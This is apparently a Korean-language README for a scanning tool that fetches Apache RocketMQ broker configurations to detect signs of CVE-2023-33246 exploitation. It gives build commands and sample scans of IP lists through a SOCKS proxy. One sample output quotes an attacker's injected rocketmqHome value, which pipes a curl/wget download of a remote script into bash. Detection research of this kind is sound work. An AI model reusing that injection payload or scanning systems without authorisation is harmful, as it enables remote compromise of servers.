
RocketMQ 브로커 구성을 가져와 CVE-2023-33246의 침해 지표를 발견하는 go-exploit
Fetch Broker Configuration는 rocketmqHome 변수에서 침해 지표를 찾기 위해 RocketMQ 브로커 구성을 다운로드하려고 시도합니다. 이 변수는 다양한 공격자가 CVE-2023-33246을 통해 코드를 실행하는 데 사용합니다. 자세한 내용은 VulnCheck 블로그를 참조하세요.
makefile을 사용하여 Docker 컨테이너를 빌드할 수 있습니다:
make docker
또는 Go 빌드 환경이 준비되어 있다면 make를 사용하면 됩니다:
albinolobster@mournland:~/fetch-broker-conf$ make
gofmt -d -w main.go
golangci-lint run --fix main.go
GOOS=linux GOARCH=arm64 go build -o build/main_linux-arm64 main.go
이 도구는 go-exploit를 기반으로 하므로 스캔 대상을 제공하는 여러 가지 방법이 있습니다. 전체 설명은 프로젝트의 스캐닝 문서에서 확인할 수 있습니다. 다음은 몇 가지 예시입니다:
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhost 10.9.49.143 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
"time": "2023-09-05T05:27:48.567836165-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
"host": "10.9.49.143",
"port": 10911
}
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts 10.9.49.143,10.9.49.150 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
"time": "2023-09-05T05:34:27.505747211-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
"host": "10.9.49.143",
"port": 10911
}
{
"time": "2023-09-05T05:34:27.802345043-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
"host": "10.9.49.150",
"port": 10911
}
go-exploit는 제공된 대상 CSV를 통한 스캔 기능을 제공합니다. CSV 형식은 host, port, anything if ssl is enabled입니다 (-a를 사용하면 SSL 필드는 무시됩니다). 또한 프록시를 통한 스캔도 지원합니다. 명령은 다음과 같이 작동합니다 (-a는 SSL 자동 감지입니다):
albinolobster@mournland:~/rocketmq-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts-file /tmp/rocketmq.csv -proxy socks5://127.0.0.1:9050 -log-json true 2>/dev/null | jq 'select(.msg == "Extracted the variable")'
{
"time": "2023-08-31T13:45:35.781849255-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "-c $@|sh . echo (curl -s x.x.x.x/rm.sh||wget -q -O- x.x.x.x/rm.sh)|bash;",
"host": "x.x.x.x",
"port": 10909
}